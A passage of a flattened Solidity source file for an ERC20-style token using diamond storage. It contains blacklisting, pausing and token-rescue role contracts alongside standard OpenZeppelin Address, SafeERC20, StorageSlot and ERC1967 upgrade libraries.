* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
library LibBlacklistable {
function _requireBlacklister() internal view {
require(
msg.sender == LibAppStorage.diamondStorage().blacklister,
"Blacklistable: caller is not the blacklister"
);
}
function _requireNotBlacklisted(address account) internal view {
require(
!LibAppStorage.diamondStorage().blacklisted[account],
"Blacklistable: account is blacklisted"
);
}
}
// File contracts/common/Blacklistable.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title Blacklistable Token
* @dev Allows accounts to be blacklisted by a "blacklister" role
*/
contract Blacklistable is Ownable {
event Blacklisted(address indexed account);
event UnBlacklisted(address indexed account);
event BlacklisterChanged(address indexed newBlacklister);
/**
* @dev Throws if called by any account other than the blacklister
*/
modifier onlyBlacklister() {
LibBlacklistable._requireBlacklister();
_;
}
/**
* @dev Throws if argument account is blacklisted
* @param account The address to check
*/
modifier notBlacklisted(address account) {
LibBlacklistable._requireNotBlacklisted(account);
_;
}
function blacklister() external view returns (address) {
return LibAppStorage.diamondStorage().blacklister;
}
/**
* @dev Checks if account is blacklisted
* @param account The address to check
*/
function isBlacklisted(address account) external view returns (bool) {
return LibAppStorage.diamondStorage().blacklisted[account];
}
/**
* @dev Adds account to blacklist
* @param account The address to blacklist
*/
function blacklist(address account) external onlyBlacklister {
LibAppStorage.diamondStorage().blacklisted[account] = true;
emit Blacklisted(account);
}
/**
* @dev Removes account from blacklist
* @param account The address to remove from the blacklist
*/
function unBlacklist(address account) external onlyBlacklister {
LibAppStorage.diamondStorage().blacklisted[account] = false;
emit UnBlacklisted(account);
}
function updateBlacklister(address newBlacklister) external onlyOwner {
require(newBlacklister != address(0), "Blacklistable: new blacklister is the zero address");
AppStorage storage appStorage = LibAppStorage.diamondStorage();
appStorage.blacklister = newBlacklister;
emit BlacklisterChanged(appStorage.blacklister);
}
}
// File @openzeppelin/contracts/utils/introspection/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol)
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/interfaces/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC20Metadata.sol)
// File contracts/lib/LibERC20.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @title ECRecover
* @notice A library that provides a safe ECDSA recovery function
*/
library LibERC20 {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Internal function to set allowance
* @param owner_ Token owner's address
* @param spender Spender's address
* @param value Allowance amount
*/
function _approve(
address owner_,
address spender,
uint256 value
) internal {
require(owner_ != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
AppStorage storage appStorage = LibAppStorage.diamondStorage();
appStorage.allowed[owner_][spender] = value;
emit Approval(owner_, spender, value);
}
/**
* @notice Internal function to increase the allowance by a given increment
* @param owner Token owner's address
* @param spender Spender's address
* @param increment Amount of increase
*/
function _increaseAllowance(
address owner,
address spender,
uint256 increment
) internal {
AppStorage storage appStorage = LibAppStorage.diamondStorage();
uint256 currentAllowance = appStorage.allowed[owner][spender];
_approve(owner, spender, currentAllowance.add(increment));
}
/**
* @notice Internal function to decrease the allowance by a given decrement
* @param owner Token owner's address
* @param spender Spender's address
* @param decrement Amount of decrease
*/
function _decreaseAllowance(
address owner,
address spender,
uint256 decrement
) internal {
AppStorage storage appStorage = LibAppStorage.diamondStorage();
_approve(
owner,
spender,
appStorage.allowed[owner][spender].sub(
decrement,
"ERC20: decreased allowance below zero"
)
);
}
/**
* @notice Internal function to process transfers
* @param from Payer's address
* @param to Payee's address
* @param value Transfer amount
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
AppStorage storage appStorage = LibAppStorage.diamondStorage();
require(value <= appStorage.balances[from], "ERC20: transfer amount exceeds balance");
appStorage.balances[from] = appStorage.balances[from].sub(value);
appStorage.balances[to] = appStorage.balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @notice Transfer tokens by spending allowance
* @param from Payer's address
* @param to Payee's address
* @param value Transfer amount
* @return True if successful
*/
function _transferFrom(
address from,
address to,
uint256 value
) internal returns (bool) {
_transfer(from, to, value);
AppStorage storage appStorage = LibAppStorage.diamondStorage();
address msgSender = LibContext._msgSender();
uint256 currentAllowance = appStorage.allowed[from][msgSender];
require(value <= currentAllowance, "ERC20: transfer amount exceeds allowance");
appStorage.allowed[from][msgSender] = currentAllowance.sub(value);
return true;
}
}
// File contracts/lib/LibPausable.sol
/**
*
*
* Copyright (c) 2022 YellowHeart
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
library LibPausable {
function _requireNotPaused() internal view {
require(!LibAppStorage.diamondStorage().paused, "Pausable: paused");
}
function _requireOnlyPauser() internal view {
require(
LibContext._msgSender() == LibAppStorage.diamondStorage().pauser,
"Pausable: caller is not the pauser"
);
}
}
// File contracts/common/Pausable.sol
/**
*
*
* Copyright (c) 2016 Smart Contract Solutions, Inc.
* Copyright (c) 2018-2020 CENTRE SECZ0
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
/**
* @notice Base contract which allows children to implement an emergency stop
* mechanism
* @dev Forked from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/feb665136c0dae9912e08397c1a21c4af3651ef3/contracts/lifecycle/Pausable.sol
* Modifications:
* 1. Added pauser role, switched pause/unpause to be onlyPauser (6/14/2018)
* 2. Removed whenNotPause/whenPaused from pause/unpause (6/14/2018)
* 3. Removed whenPaused (6/14/2018)
* 4. Switches ownable library to use ZeppelinOS (7/12/18)
* 5. Remove constructor (7/13/18)
* 6. Reformat, conform to Solidity 0.6 syntax and add error messages (5/13/20)
* 7. Make public functions external (5/27/20)
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
event PauserChanged(address indexed newAddress);
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
LibPausable._requireNotPaused();
_;
}
/**
* @dev throws if called by any account other than the pauser
*/
modifier onlyPauser() {
LibPausable._requireOnlyPauser();
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() external onlyPauser {
LibAppStorage.diamondStorage().paused = true;
emit Pause();
}
function paused() external view returns (bool) {
return LibAppStorage.diamondStorage().paused;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() external onlyPauser {
LibAppStorage.diamondStorage().paused = false;
emit Unpause();
}
function pauser() external view returns (address) {
return LibAppStorage.diamondStorage().pauser;
}
/**
* @dev update the pauser role
*/
function updatePauser(address newPauser) external onlyOwner {
require(newPauser != address(0), "Pausable: new pauser is the zero address");
LibAppStorage.diamondStorage().pauser = newPauser;
emit PauserChanged(LibAppStorage.diamondStorage().pauser);
}
}
// File @openzeppelin/contracts/utils/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/common/Rescuable.sol
/**
*
*
* Copyright (c) 2018-2020 CENTRE SECZ
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
contract Rescuable is Ownable {
using SafeERC20 for IERC20;
event RescuerChanged(address indexed newRescuer);
/**
* @notice Returns current rescuer
* @return Rescuer's address
*/
function rescuer() external view returns (address) {
return LibAppStorage.diamondStorage().rescuer;
}
/**
* @notice Revert if called by any account other than the rescuer.
*/
modifier onlyRescuer() {
_requireOnlyRescuer();
_;
}
function _requireOnlyRescuer() internal view {
require(
msg.sender == LibAppStorage.diamondStorage().rescuer,
"Rescuable: caller is not the rescuer"
);
}
/**
* @notice Rescue ERC20 tokens locked up in this contract.
* @param tokenContract ERC20 token contract address
* @param to Recipient address
* @param amount Amount to withdraw
*/
function rescueERC20(
IERC20 tokenContract,
address to,
uint256 amount
) external onlyRescuer {
tokenContract.safeTransfer(to, amount);
}
/**
* @notice Assign the rescuer role to a given address.
* @param newRescuer New rescuer's address
*/
function updateRescuer(address newRescuer) external onlyOwner {
require(newRescuer != address(0), "Rescuable: new rescuer is the zero address");
LibAppStorage.diamondStorage().rescuer = newRescuer;
emit RescuerChanged(newRescuer);
}
}
// File @openzeppelin/contracts/proxy/beacon/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// File @openzeppelin/contracts/utils/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// File @openzeppelin/contracts/proxy/ERC1967/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol)
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT =
0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(
Address.isContract(newImplementation),
"ERC1967: new implementation is not a contract"
);
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(
_ROLLBACK_SLOT
);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(
oldImplementation == _getImplementation(),
"ERC1967Upgrade: upgrade breaks further upgrades"
);
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT =
0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
// File @openzeppelin/contracts/proxy/utils/[email protected]
//
// OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol)
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
